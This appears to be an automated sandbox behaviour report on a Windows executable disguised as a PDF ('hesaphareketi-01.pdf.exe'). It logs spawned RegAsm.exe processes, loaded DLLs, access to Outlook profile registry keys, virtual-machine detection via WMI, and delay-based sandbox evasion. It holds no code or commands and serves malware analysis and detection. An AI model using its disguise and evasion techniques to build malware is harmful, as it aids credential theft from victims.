Source: hesaphareketi-01.pdf.exe	Virustotal: Detection: 39%

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe

File read: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe "C:\Users\user\Desktop\hesaphareketi-01.pdf.exe"
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: hesaphareketi-01.pdf.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: hesaphareketi-01.pdf.exe

Static file information: File size 2066432 > 1048576

Source: hesaphareketi-01.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: hesaphareketi-01.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: hesaphareketi-01.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: hesaphareketi-01.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: hesaphareketi-01.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: hesaphareketi-01.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: hesaphareketi-01.pdf.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: hesaphareketi-01.pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: hesaphareketi-01.pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: hesaphareketi-01.pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: hesaphareketi-01.pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: hesaphareketi-01.pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: hesaphareketi-01.pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: hesaphareketi-01.pdf.exe	Static PE information: section name: .managed
Source: hesaphareketi-01.pdf.exe	Static PE information: section name: hydrated
Source: hesaphareketi-01.pdf.exe	Static PE information: section name: _RDATA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00E50C6D push edi; retf	3_2_00E50C7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00E50C45 push ebx; retf	3_2_00E50C52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00E50C53 push ebx; retf	3_2_00E50C52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061D940A pushfd ; retf	3_2_061D9419
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061DB521 push es; ret	3_2_061DB530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061D7052 push es; ret	3_2_061D7060

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.exe

Static PE information: hesaphareketi-01.pdf.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Memory allocated: 2367D880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: E30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 25C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599090	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596967	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596639	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596510	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596310	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595652	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594000	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 7449			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 2397			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -599090s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -598422s >= -30000s	Jump to behavior
